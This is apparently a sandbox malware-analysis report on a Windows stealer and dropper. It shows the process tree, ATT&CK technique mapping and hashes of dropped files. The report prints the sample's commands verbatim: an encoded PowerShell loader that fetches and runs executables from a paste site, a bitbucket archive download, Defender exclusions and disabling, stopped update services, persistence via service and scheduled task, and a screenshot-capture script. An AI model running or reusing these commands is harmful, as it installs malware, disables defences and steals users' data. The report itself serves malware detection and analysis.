    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:492
  - - C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx0.exe
      "C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx0.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5A93.tmp\5A94.tmp\5A95.bat C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx0.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1884
      - C:\Windows\system32\chcp.com
        
        chcp 1251
        6⤵
        
        PID:3388
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:3528
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:2536
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:4864
      - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        6⤵
        
        PID:2884
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        6⤵
        Creates scheduled task(s)
        
        PID:3240
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4844
        
        C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        7⤵
        
        PID:528
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2712
        
        C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        7⤵
        
        PID:1016
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/43g34g34g34/34g34g34g34g/raw/e946dd91d069dd0a14070ddbc4920354650bd041/lem.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4200
  - - C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx1.exe
      "C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx1.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4312
  - - C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx2.exe
      "C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx2.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      PID:1412
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4412
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:960
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:3556
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3528
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3268
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:1160
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4888
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:1984
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4864
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        
        PID:928
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        
        PID:2276
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        
        PID:3572
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        
        PID:1080
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        
        PID:4236
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "AAWUFTXN"
        5⤵
        Launches sc.exe
        
        PID:1724
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:1800
  - - C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe
      "C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Adds Run key to start application
      Maps connected drives based on registry
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2224
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4932
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe
        5⤵
        Views/modifies file attributes
        
        PID:3832
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        5⤵
        Views/modifies file attributes
        
        PID:432
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic csproduct get UUID
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4264
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:2812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\sccs2kbi.bvx3.exe
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:636
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic os get Caption
        5⤵
        
        PID:1096
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic cpu get Name
        5⤵
        
        PID:1956
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2412
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2028
    - - C:\Windows\System32\Wbem\wmic.exe
        
        wmic csproduct get UUID
        5⤵
        
        PID:960
    - - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4332
    - - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:3468
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:5044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2720
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mpqddtho\mpqddtho.cmdline"
        6⤵
        
        PID:2764
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES691A.tmp" "c:\Users\Admin\AppData\Local\Temp\mpqddtho\CSCD6A7C80F61A145AB81DFE5BD88B77EEE.TMP"
        7⤵
        
        PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3644

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3844

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4004

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:8

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4388

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2928

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2376

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2680

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2208

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1608

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2188

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4476

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4292

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
MD5 22310ad6749d8cc38284aa616efcd100
SHA1 440ef4a0a53bfa7c83fe84326a1dff4326dcb515
SHA512 2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
MD5 a2b24af1492f112d2e53cb7415fda39f
SHA1 dbfcee57242a14b60997bd03379cc60198976d85
SHA512 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
MD5 71444def27770d9071039d005d0323b7
SHA1 cef8654e95495786ac9347494f4417819373427e
SHA512 a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
MD5 SHA1 SHA512

Submit Download

5A95.bat

Path C:\Users\Admin\AppData\Local\Temp\5A93.tmp\5A94.tmp\5A95.bat
Size 5KB
SHA256 bfda7e598935d6814476e0219a356b705341b7882075d20fd506117c013b201c
MD5 022f1f2e0083954f32f822f0dcc6ee0d
SHA1 cf2a0d686fcf2f48945df19005d1f3beb5f415c6
SHA512 d825bb12b0cf8c18799cf32128f8983727a16840de7354140d4bcbed19619d17908d1d16060ee8449798ccc66c8379dfe8ef61ce0e0607c303c8caf6fdb96c57
SSDEEP 96:fHJ5kngOWuUeXx4LXci/5RBGuUZqx6GBOYwFKwv7NE/HfRf2fBfEf8EafHFfzf37:Ps70wx4Ln/57EZqxdBOYwdv7N0pOp8UP
MD5 SHA1 SHA512 SSDEEP

Submit Download

RES691A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES691A.tmp
Size 1KB
SHA256 6dce9b35cd7350d71e36e261c4087cb5d61dc8526c588edabfd4c7e83482bb9e
MD5 783bc714f43da1aa75334f6a37f4760a
SHA1 fbf05aaffd955a3dd6ecdc8e36cc3ba581f3528a
SHA512 5c0ed91cd345935de569681fa95448b246e52d89e4ebae4e3cc1441c1067d86669842f450e7c46c4ac2b4943eabfe5bc6547ee2925f0a28c1a4ec29a5fda206b
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_vgzwuugk.z11.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vgzwuugk.z11.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\cOGkovshXE\Display (1).png
Size 432KB
SHA256 4289f8cf0e6f62e6e2267cb756a5d579ba72b48d0a7f9646f4edfb4b5db39bab
MD5 a2d6f716c546be43a4ab10fd09e24993
SHA1 5cab84d8c2390ce8aa3afaef6f52a5ede2d4acef
SHA512 89e7f34565a64c4cc757f1b43f86d1238806935e0ddd15a40daed1d1ce48cae65268cf8f6cf04386d28ce943dc307fd62c63c13b4a7de2a0fef18dec330a82d7
SSDEEP 12288:g329qiw1wrz1UBlJBdsNU3VC8rCbXv9s/vLhTc:gmEvqXK3JHCUklsX1Tc
MD5 SHA1 SHA512 SSDEEP

Submit Download

mpqddtho.dll

Path C:\Users\Admin\AppData\Local\Temp\mpqddtho\mpqddtho.dll
Size 4KB
SHA256 518859b1412f84a0babe5ef01b291c33b3bdcce7c1713e0aa92bf8e2aa9c52ab
MD5 33ef6292f67a7840858174be97fa0fe8
SHA1 de450771dd3f480cc4cbed1e9cf3873d215b4a5e
SHA512 62da62022c002883240a6cdd8b94cf099176d2f783bb210ce66b960b99064f55dcdedc892bab3d6ebb8342dc7723c18227d0164694b290923eedb89908e89318
